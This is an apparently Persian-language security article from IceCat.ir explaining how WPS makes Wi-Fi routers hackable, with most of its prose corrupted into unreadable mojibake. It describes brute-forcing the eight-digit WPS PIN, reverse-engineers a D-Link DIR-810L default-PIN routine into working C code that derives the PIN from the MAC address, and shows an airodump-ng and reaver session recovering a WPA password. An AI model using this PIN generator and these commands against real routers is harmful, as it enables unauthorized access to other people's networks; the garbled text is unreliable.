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WPS  میشود؟چگونه باعث هک شدن وای فای 

 

 
 .هحفَػ است IceCat.irحقَق ایي هقبلِ ثشای کلیِ 

 اص هغبلت هَجَد دس ایي هقبلِ ثب رکش هٌجغ ثلاهبًغ است. کپیِ شگًَّ

http://IceCat.ir 

 

  

http://icecat.ir/
http://icecat.ir/
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 مقدمه:

سووَالی کووِ ایووي سٍصّووب رّووي  یلووی ّووب سٍ ثووِ  ووَدد هووورَس کووشدُ ّوو  کووشدى ٍایووشل  دٍسوو بى ٍ 

 .ّوسبیگبى ٍ آشٌبیبى ٍ ثس گبى است

دس آًغشف قضیِ ًیض هغوئٌبً تَ رّي  َدتوَى ثوِ ایوي  موش هیمٌیوذ کوِ کیموبس کوٌن ٍایوشل  هوي ّو             

 ًوِ؟

هی َاًیوذ ٍایوشل     ثب ًشم ا ضاسّوبیی کوِ ثوش سٍی گَشوی شووب ًشوت هیووًَذ ٍ ثوب اسو فبدُ اص آى          هغوئٌبً

آیوب اص  وَد سشسویذُ ایوذ ایوي ًوشم        ، اهوب (WPS Connect دیگشاى سا ّو  کٌیوذ آشوٌب ّسو یذ نهبًٌوذ     

 هیمٌٌذ؟ ا ضاسّب کگًَِ اقذام ثِ ّ  کشدى ٍایشل 

ِ   دس ایي سست کِ ثشای اٍلویي ثوبس تَسوظ آیو  کوت هٌ       تحلیو  سٍشوی کوِ ایٌگًَوِ ًوشم       ووش هیووَد ثو

 .هیپشداصین ا ضاسّب ثشای ّ  کشدى ٍایشل  اس فبدُ هیمٌٌذ

 

 تعاریف:

 

آهوبتَس اص ایوي هقبلوِ اسو فبدُ کٌٌوذ ٍ ثوب        اص آًجب کِ هب قشذ داسین ّون کوبسثشاى حش وِ ای ٍ ّون کوبسثشاى     

 .ینهیپشداص WPS ٍ MAC Address ثِ تؼشیف ایٌگًَِ حولات آشٌب شًَذ، دس اث ذا

 

 WPS ؟چیست 

 WPS  کلوووِهخفووف WiFi Protected Setup ذ.اًووذاصی حفب ووت شووذُ ٍای  ووبی هیجبشوو ساُ یووب 

ثووَد کووِ   ایووي آى اص ّووذف ٍ شووذ هؼش ووی  ووبی تَسووظ اتحبدیووِ ٍای  2007ایووي اسوو بًذاسد دس سووبس  

ِ  داسًوذ   وبی  کبسثشاًی کِ اعلاػبت کوی دس صهیٌِ اهٌیوت شوجمِ ّوبی ٍای    سوبدگی ث وًَي ثوِ اکسو       ثو

 ثذاًیوذ،  سا  وبی  سسوَسد شوجمِ ٍای   یوب  SSID شووب ًیوبص ًیسوت     WPS َیٌوت  وَد ه شو  شوًَذ. دس    س

عووَیًی ثووِ ػٌووَاى سسووَسد ٍایووشل ، اح وووبس کووش    ٍ تشووبد ی ای سشوو ِ تَلیووذ ثووب هی َاًیووذ ثٌووبثشایي

 .شذى آًشا کبّش ثذّیذ
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ِ   WPS اتشوبس ثوب اسو فبدُ اص    ثشای هوَدم   نهوللا هَجوَد ثوش سٍی ّوش دٍ دسو گبُ      WPS کب یسوت دکوو

 .شًَذ ٍایشل  ٍ گَشی  َد( سا  وبس دّیذ تب ثغَس  َدکبس ثِ یمذیگش ه ش 

ًیوض ٍجوَد داسًوذ کوِ اص آى      سوِ سٍد دیگوش   WPS گشکِ ثشای اتشبس ثِ شوجمِ ثوی سوین ثوب اسو فبدُ اص     

 .سٍد ّب دس حَصلِ ایي هقبلِ ًویجبشذ اشبسُ کشد، اهب تَضیح ایي NFC جولِ هی َاى ثِ ه ذ

 

 MAC Address ؟چیست 

ِ    هوو  ثووشای  آدسس کووِ ثووب ًووبم آدسس  یضیمووی ًیووض  َاًووذُ هیوووَد، آدسسووی اسووت هٌحشووش ثفووشد کوو

ثبیوت   6آدسس هؼووَیً   ثشقشاسی استجبط ثویي اجوضای یو  شوجمِ کوبهپیَتشی اسو فبدُ هیووَد. عوَس ایوي         

 .(َدثبیت ثب اس فبدُ اص ی  : جذا هیو ًَش ِ هیوَد. نّش 11:22:33:44:55:66ثَدُ کِ ثشَست 

هٌظووَس اص هٌحشووشثفشد ثووَدى ایووي آدسس ایووي اسووت کووِ ّوویی تجْیووضات شووجمِ ای دس دًیووب ًیسووت کووِ  

 .ه  آدسس یمسبًی ثب ّن داش ِ ثبشٌذ

 یمووذیگش هغلووغ MAC Address ثشقووشاسی استجووبط یصم اسووت ػٌبصووش هَجووَد دس شووجمِ اص   ثووشای

ِ       MAC Address ثبشٌذ، ثوِ ػجوبست دیگوش    سٍیوت   سوبدگی قبثو    آدسسوی اسوت کوِ هخفوی ًجوَدُ ٍ ثو

 .است

 

 هک میشود؟ WPS چرا

اص اث ذا اش جبُ ثَد ٍ ایوي ثبػوش شوذ کوِ ایوي سشٍتمو  اص ًظوش ٍجوَد حفوشُ ّوبی اهٌی وی             WPS عشاحی

 اهب ح وب هیپشسیذ کشا؟ . هل  ی  آثمش ػو  کٌِ

 .دس ایي هقبلِ دٍ تمٌی  سا ثشسسی هیمٌین
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 Brute Force:  تکنیک اول، تکنیک

ِ   WPS اص سٍد ّوبی اتشووبس  یموی  ُ   WPS ثوِ ییووش اص  ووشدى دکووو  هَجوَد ثووش سٍی ّوش دٍ دسوو گب

هی وَاى   WPS  اسوت، ثوذیي تشتیوت کوِ ثوب داشو ي سویي کوذ         PIN ، اسو فبدُ اص سٍد (PBC اصو لاحبً ن

 .ثِ ٍایشل  ه ش  شذ

کووبساک ش اسووتن یؼٌووی    8جبلووت ایٌجبسووت کووِ ایووي کووذ، کووذی اسووت توبهووبً ػووذدی ٍ ثووِ عووَس        

 .حبلت هخ لف 100.000.000

ًویووًَذ، ثلموِ    کوبساک ش ثوب ّون کو      8هَضَع ٍق ی جبلج ش هیوَد کوِ ثذاًیوذ دس ایوي سشٍتمو  ّوش       اهب

 !کبساک ش دٍم سا 4  اگش دسست ثَد کبساک ش اٍس سا ک  هیمٌذ ٍ سپ 4سٍتش اث ذا 

ّووضاس  10تٌْووب ثووِ  هیلیووَى حبلووت هخ لووف 100ایووي هسووبلِ ثبػووش هیوووَد کووِ هیووذاى اح وووبیت هووب اص 

اث ووذا ثووب تسووت  Brute Force ً یجووِ یوو  ّمووش هی َاًووذ ثووب اسوو فبدُ اص سٍد دس.حبلووت سووقَط کٌووذ

 .ش آ ش سا سیذا کٌذکبسک  4سقن اٍس سا سیذا ٍ سپ   4ّضاس حبلت هخ لف،  10 ًْبی بً

ّسوت، اهوب    ( کوبس ثسویبس ثسویبس صهوبى ثوشی     2*  10000ّوضاس کوبساک ش ن   20 مش کٌیذ کو  کوشدى    شبیذ

ِ   Brute Force ثِ ایي ًم ِ تَجِ داش ِ ثبشویذ کوِ هوب ثوشای     صوَست دسو ی کوبسی سٍ اًجوبم      کوشدى ثو

  ِ َ     ًویذین ٍ اص اسمشیپت ّب ثْشُ هیجوشین، دس ً یجو ِ  ثشوَست تخویٌوی هی وًَن ثْ و صهوبى سیوذا    ى ثگون کو

 !سبػت است 10دس اکس  سَیٌت ّبی آسیت سزیش حذٍد   WPSکشدى سسَسد

 

 :تکنیک دوم، تکنیک مهندسی معکوس

 اًجووبم هیوووِ ٍ WPS Connect سٍد دقیقووب ّوووبى سٍشووی اسووت کووِ دس ثشًبهووِ ّووبیی ًظیووش  ایووي

            ٍ آشوٌبیبى، آى   گَشی شوب سٍ تجوذی  هیمٌوِ ثوِ یو  اثوضاس ثوشای ّو  کوشدى شوجمِ ثوی سوین دٍسو بى 

 !ّن  قظ ثب ی  کلی 

 اهب آیب اص  َد سشسیذُ ایذ کِ ایي ًشم ا ضاسّب کگًَِ کبس هیمٌٌذ؟

داسوو بى اص ایٌجووب شووشٍع هیوووِ کووِ ایٌجووبس ثجووبی اتحبدیووِ ٍای  ووبی، شووشکت ّووبی سووبصًذُ تجْیووضات    

 .اًذ کن کبسی کشدُ شجمِ ای هب

 WPS کِ شوب ی  سٍتش جذیذ  شیوذاسی هیمٌیوذ، ثغوَس سویش  وش  سویي کوذی ثوشای سیسو ن          صهبًی

 ثلموِ اص سٍی  آى تؼشیوف شوذُ اسوت. هووم  ایٌجبسوت کوِ ایوي کوذ ثشوَست تشوبد ی تَلیوذ ًویووَد،            

MAC Address یب BSSID دس گبُ شوب سب  ِ هیوَد. 
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ِ  MAC Address ّووبًغَس کوِ گف وِ شوذُ     ّیچَجوِ دس شوجمِ هخفوی ًیسوت ٍ ّوش کسوی نکوِ         ثو

 .دا   شجمِ هب ثبشذ، کِ ًجبشذ( قبدس ثِ سٍیت آى است

 ًیووض اص سٍی ّووویي WPS سا داسیوون ٍ هیووذاًین کووِ سسووَسد سیوووش    MAC Address هووب سوو 

        ٍ سیوذا کوشدى    آدسس سب  ِ شذُ است، س  تٌْوب کوبسی کوِ هیمٌوین اًجوبم یمسوشی هحبسوجبت سیبضوی 

 .کو ش اص کٌذ ثبًیِ استدس  WPS سسَسد

 sub_4D56F8 کٌیووذ، کووذ صیووش، ثخوووی اص کووذ دیمبهپبیوو  شووذُ سووبة سٍتوویي ثووِ هلووبس صیووش تَجووِ

 PIN اسوت، ایوي سوبة سٍتویي هسوئَس تَلیوذ       DLink هحشوَس شوشکت    DIR-810L  شهوَس سٍتوش  

 (جهت نمایش کامل کد اینجا را کلیک کنیدن :دس ایي دس گبُ است WPS سیوفش 

 

 

 

 

ِ      اص کووذ سا  آًجووبیی کووِ ػولیووبت سیبضووی اًجووبم شووذُ کٌووذاى سیچیووذُ ًیسووت، ثووب تَجووِ ثووِ ایووي کوو

 .ًذاسد ّذف ثشًبهِ ًَی  دس کذ ثبی ضشٍستیاین، هوخص کشدى  دیمبهپبی  کشدُ

http://bayanbox.ir/download/1646789113332732150/dir810l-ncc-gen-default-pin.html
http://bayanbox.ir/view/779092903392371083/wps-reverse-code.jpg
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 :سا کٌبس ّن ثگزاسین کذ صیش سا داسین 182ٍ  181، 179، 178اگش  ظ 

 

li $v0, 0x38E38E39 

multu $a3, $v0 

... 

mfhi $v0 

srl $v0, 1 

 

 :تجذی  کٌین کذ صیش سا  َاّین داشت C اگش ثخَاّین تمِ کذ ثبی سا ثِ صثبى

v0 = ((a3 * 0x38E38E39) >> 32) >> 1; 

 

 :است، س  کذ سبدُ شذُ ثشاثش  َاّذ ثَد ثب 9ثِ  a3  کِ ساّی تجولی ثشای تقسین

v0 = a3 / 9; 

 

    ٍ  ثووب ثشسسووی کبهوو  سووبة سٍتوویي   دس ّووش صووَست ٍقووت سا ثووب ثشسسووی ّووبی کَتووبُ تلووف ًویمٌووین 

sub_4D56F8       ْوت تَلیوذ   هیووَد کوِ اص الگوَسی وی سوبدُ ج     ٍ تجوذی  آى ثوِ کوذّبی  َاًوبتش، هووخص

 :اس فبدُ شذُ است WPS  سهض سیوفش 

unsigned int generate_default_pin(char *buf) 

{ 

    char *mac; 

    char mac_address[32] = { 0 }; 

    unsigned int oui, nic, pin; 

  

 /* ایجاد اشارٍ گری بَ هک آدرش */    

    mac = lockAndGetInfo_log()->wan_mac_address; 

  

    /* 

 (ایجاد یک کپی از آدرش هک )بذّى ًال *     

     */ 

    sprintf(mac_address, "%c%c%c%c%c%c%c%c%c%c%c%c", mac[0], 

                                                     mac[1], 

                                                     mac[2], 

                                                     mac[3], 

                                                     mac[4], 

                                                     mac[5], 

                                                     mac[6], 

                                                     mac[7], 

                                                     mac[8], 

                                                     mac[9], 

                                                     mac[10], 

                                                     mac[11]); 
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    /* 

 تبذیل قطوت ُای *     

     * OUI (ضَ بایت ابتذایی کَ ًوایٌذٍ شرکت ضازًذٍ اضت) 

     * ّ 

     * NIC (آدرش یکتا) 

 بَ هقادیر ایٌتیجر *     

آی بلا اضتفادٍ اضت ّ تٌِا از ًیک اضتفادٍ هیگردد-یْ-دقت کٌیذ کَ اّ *       

     */ 

    sscanf(mac_address, "%06X%06X", &oui, &nic); 

  

قطوت ًیک -اّر بر رّی هک آدرش -اًجام عولیات ایکص */      */ 

    pin = (nic ^ 0x55AA55); 

    pin = pin ^ (((pin & 0x0F) << 4) + 

                 ((pin & 0x0F) << 8) + 

                 ((pin & 0x0F) << 12) + 

                 ((pin & 0x0F) << 16) + 

                 ((pin & 0x0F) << 20)); 

   

    /* 

  برابر 0101110111بسرگتریي باقی هاًذٍ تقطین ُر عذدی بر  *     

)ُفت رقن( ّ کْچکتریي آى هشخصاً صفر خْاُذ یْد 909990999با عذد  *       

     */ 

     pin = pin % 10000000; 

   

 /* طْل پیي کذ لازم اضت حذاقل ُفت کاراکتر باشذ، البتَ فعلاً  */    

    if(pin < 1000000) 

    { 

        /* 

برابر 9بسرگتریي باقی هاًذٍ ُر عذدی تقطن بر  *           

ّ 0901110111 بٌابرایي ایي قطوت از کذ باعث هیشْد حذاکثر 8اضت با  *           

بَ هقذار پیي بیافسایذ0 ایي عول تضویي هیکٌذ 001110111حذاقل  *           

کاراکتر طْل دارد 7کَ اّلا پیي تْلیذ شذٍ  *           

 ّ دّها با صفر شرّع ًویشْد *         

         */ 

        pin += ((pin % 9) * 1000000) + 1000000; 

    } 

   

    /* 

رقن هحاضبَ شذٍ اضت 7رقوی ًِایی ُواى  8پیي کذ  *       

 بَ اضافَ یک رقن کٌترلی چک ضام *     

     */ 

    pin = ((pin * 10) + wps_pin_checksum(pin)); 

  

    sprintf(buf, "%08d", pin); 

    return pin; 

} 

 

ِ ثشًبهوِ ثوذّین توب سسوَسد     ( سا ثو 1هشثَعوِ ثوب    BSSID هوَسد ًظوش نجووغ    MAC Address اکٌوَى کب یسوت  

 :سیوفش  آًشا دسیب ت کٌین
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$ sudo airodump-ng mon0 -c 4 

  

 CH  4 ][ Elapsed: 0 s ][ 2016-03-11 11:44 ][ fixed channel mon0: -1 

                                                                        

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER 

AUTH ESSID 

                                                                      

C0:A0:BB:EF:B3:D6  -13   0        6        0    0   4  54e  WPA2 CCMP   PSK  

dlink-B3D6 

  

$ ./pingen C0:A0:BB:EF:B3:D7   # <--- WAN MAC is BSSID + 1 

Default Pin: 99767389 

  

$ sudo reaver -i mon0 -b C0:A0:BB:EF:B3:D6 -c 4 -p 99767389 

  

Reaver v1.4 WiFi Protected Setup Attack Tool 

Copyright (c) 2011, Tactical Network Solutions, Craig Heffner 

<cheffner@tacnetsol.com> 

  

[+] Waiting for beacon from C0:A0:BB:EF:B3:D6 

[+] Associated with C0:A0:BB:EF:B3:D6 (ESSID: dlink-B3D6) 

[+] WPS PIN: '99767389' 

[+] WPA PSK: 'IceCat.IR PASSWORD' 

[+] AP SSID: 'dlink-B3D6' 

 

ٍ  هیمٌٌوذ  MAC Address اص سٍی WPS  ه بسوفبًِ سٍتشّوبی صیوبدی اقوذام ثوِ سوب ت سویي کوذ سیووفش          

 .ش هَجت شذُ تب ًشم ا ضاسّبی صیبدی جْت ّ  کشدى آًْب اسائِ شَدّویي اه

 


